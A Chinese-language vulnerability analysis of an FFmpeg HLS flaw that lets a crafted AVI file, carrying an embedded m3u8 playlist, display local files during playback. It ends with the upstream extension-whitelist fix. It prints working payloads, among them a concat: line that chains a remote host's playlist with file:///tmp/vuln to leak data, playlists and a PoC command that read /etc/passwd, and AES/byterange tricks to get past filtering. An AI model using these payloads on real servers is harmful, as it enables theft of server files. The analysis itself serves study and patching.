1. 漏洞描述
- 漏洞簡述: 漏洞利用了FFmpeg可以處理HLS播放列表的特性,而播放列表可以引用外部文件。通過在AVI文件中添加自定義的包含本地文件引用的HLS播放列表,可以觸發該漏洞並在該文件播放過程中顯示本地文件的內容
- 漏洞發現者:Neex
- 影響版本:FFmpeg < 3.3.2
2. FFmpeg 背景知識簡介
FFmpeg是一套可以用來記錄、轉換數字音頻、視頻,並能將其轉化爲流的開源計算機程序。它包括了目前領先的音/視頻編碼庫libavcodec。 FFmpeg是在Linux下開發出來的,但它可以在包括Windows在內的大多數操作系統中編譯。這個項目是由Fabrice Bellard發起的,現在由Michael Niedermayer主持。可以輕易地實現多種視頻格式之間的相互轉換,例如可以將攝錄下的視頻avi等轉成現在視頻網站所採用的flv格式。其基本的工作流程是:
原始的封裝視頻 –> demux 分離器對封裝的視頻資源進行分離 –> 得到音頻資源和視頻資源 –> 進行解碼 –> 得到解壓後的音頻資源和視頻資源 –> 進入 filter 進行編輯處理 –> 得到處理後的音頻資源和視頻資源 –> 對資源編碼得到轉碼後的音頻資源和視頻資源 –> 進入 mux 混合器進行封裝 –> 得到轉碼封裝後的視頻
3. HLS簡介
HLS (HTTP Live Streaming)
常用的流媒體協議主要有 HTTP 漸進下載(HLS,flash 漸進式等)和基於 RTSP/RTP 的實時流媒體協議,這二種基本是完全不同的東西,目前比較方便又好用的是用 HTTP 漸進下載方法。
在這個中 apple 公司的 HTTP Live Streaming 是這個方面的代表。它會把整個視頻流分成多個小的,基於 HTTP 的文件來下載,每次下載一部分,並把視頻流元數據存放於 m3u8 文件中。
M3U8文件概念
M3U8文件是指UTF-8編碼格式的M3U文件。M3U文件是記錄了一個索引純文本文件,打開它時播放軟件並不是播放它,而是根據它的索引找到對應的音視頻文件的網絡地址進行在線播放。
簡單歸納起來就是:首先將一個完整視頻分成多個TS視頻文件,用戶下載m3u8文件,通過m3u8文件的索引地址 播放具體的每個小段視頻。
一個m3u8文件的基本格式如下:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://cdev.dx.su:1234/8.mp4 # 可以是遠程資源
#EXT-X-ENDLIST
或者:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
test.ts # 也可以是真正的視頻資源
#EXT-X-ENDLIST
註釋
#EXTM3U: 每個M3U文件第一行必須是這個tag。
#EXTINF:指定每個媒體段(ts)的持續時間,這個僅對其後面的URI有效,每兩個媒體段URI間被這個tag分隔開,其格式如下:
#EXTINF:<duration>,<title> :duration表示持續的時間(秒)”Durations MUST be integers if the protocol version of the Playlist file is less than 3“,否則可以是浮點數。
#EXT-X-MEDIA-SEQUENCE:每一個media URI 在 PlayList中只有唯一的序號,相鄰之間序號+1。
#EXT-X-MEDIA-SEQUENCE:<number>:一個media URI並不是必須要包含的,如果沒有,默認爲0。
#EXT-X-ENDLIST:表示PlayList的末尾了,它可以在PlayList中任意位置出現,但是隻能出現一個,格式如下:
#EXT-X-ENDLIST
4 漏洞分析
該漏洞主要還是利用了去年的 CVE-2016-1897 和 CVE-2016-1898,一個 SSRF 和一個任意文件讀取漏洞,其中 SSRF 用到的就是 m3u8 可以訪問獲取遠程資源的特性。
CVE-2016-1897
CVE-2016-1898
因爲FFmpeg擴展性極強,其中支持一個 Physical concatenation protocol concat: 可以把多個 url 流合併訪問資源:
concat:URL1|URL2|…|URLN
結合 SSRF ,我們可以把 file:// 讀到的內容發送出來。
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
之後官方在2.8.5版本修復了該漏洞。
而這個漏洞則是繞過了這次修復,繼續利用這兩個漏洞達到任意文件讀取。
在上個月的 phdays conference 裏,通過視頻格式的一個 trick bypass 了廠商對 SSRF 的封堵。
奇怪的視頻格式標準
在 AVI 視頻中,有一個數據塊可以定義字幕,叫做 GAB2 ,位置於 AVI header 中,有趣的是 m3u8 可以插入到 avi 文件中,且 FFmpeg 依舊會對有文件頭 #EXTM3U
的 AVi 視頻做 HLS 處理。
利用思路如下: 將 m3u8 嵌入到帶有 GAB2 的AVI視頻中,對文件格式檢查進行 bypass 。 因爲之前說過,m3u8 並不是真正的視頻資源,所以如果要播放,必須還要在 m3u8 中嵌入一個可播放的視頻資源,其中有一個古老的媒體格式 XBin,這個媒體格式具備基本顯示圖片,文本的功能,體積非常小,最重要的是,這個媒體格式可編程,如果嵌入到 m3u8 中,將目標文件作爲對象,用 xbin 繪製成爲字符,就可以作爲合法可播放的視頻文件觀看了,所以依次嵌套後,文件內容大致爲:
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目標文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
但 FFmpeg 檢查了 body 中的非法字符串,所以無法使用 data :對 XBIN 格式聲明
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
但是m3u8支持AES128的CBC模式加密,可以在#EXT-X-KEY中進行設置,所以可以很簡單加密m3u8的內容:
…
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
…
= AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>
由於m3u8單次訪問目標文件獲取到的內容不完整,爲了獲得完整的文件內容,還需要控制#EXT-X-BYTERANGE設置偏移量,然後重複這一部分
最終,我們得到的文件應該是這樣的:
[AVI header]
[GAB2 header]
[m3u8 header]
{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL> #聲明m3u8的AES加密,將XBIN部分加密
[XBIN header] #被加密
目標文件
[XBIN footer] #被加密
{loop}
[m3u8 footer]
[AVI footer]
利用github上的Python POC腳本生成含有SSRF攻擊的avi格式視頻。腳本使用方法:
通過命令行查看生成的avi視頻源碼:
通過notepad++ 查看視頻文件源碼:
- 可以看到和上述的命令行查看是一樣的,AVI header以及GAB2 包含不可打印字符這裏就不做解釋了,我們可以看到
### echoing b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
爲XBIN header。 #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x4c4d465e0b95223279487316ffd9ec3a
#EXT-X-KEY:表示怎麼對media segments進行解碼。其作用範圍是下次該tag出現前的所有media URI,格式如下:
#EXT-X-KEY:<attribute-list>:
NONE 或者 AES-128。如果是NONE,則URI以及IV屬性必須不存在,如果是AES-128(Advanced Encryption Standard),則URI必須存在,IV可以不存在。
對於AES-128的情況,keytag和URI屬性共同表示了一個key文件,通過URI可以獲得這個key,如果沒有
IV(Initialization Vector),則使用序列號作爲IV進行編解碼,將序列號的高位賦到16個字節的buffer中,左邊補0;如果
有IV,則將改值當成16個字節的16進制數。
3 . #EXT-X-BYTERANGE: 64@0
#EXT-X-BYTERANGE控制文件的偏移地址,並在隨後的空行中指定文件的URI地址。通過不斷遞增文件的偏移地址,該文件可以實現對本地文件的遍歷顯示播放。
通過命令ffplay exp.avi
直接讀取生成的avi文件,可以看到文件內容成功顯示到ffplay視頻播放器中:
5. 漏洞復現(遠程文件讀取)
1.首先自己搭建一個可以上傳視頻以及播放視頻的頁面。
2.利用上文中POC生成avi視頻文件:./gen_xbin_avi.py file:///etc/passwd exp.avi
3.將視頻文件通過網頁上傳到服務器中,點擊播放:
可以看到成功顯示了/etc/passwd內容。
6. 修復方案
根據官方升級版本進行源碼diff:
我們可以看到最主要的修復方式是在hls.c文件中,
+ {"allowed_extensions", "List of file extensions that hls is allowed to access",
+ OFFSET(allowed_extensions), AV_OPT_TYPE_STRING,
+ {.str = "3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav"},
+ INT_MIN, INT_MAX, FLAGS},
採用白名單機制,限制後綴名只能是上述的那些才能執行。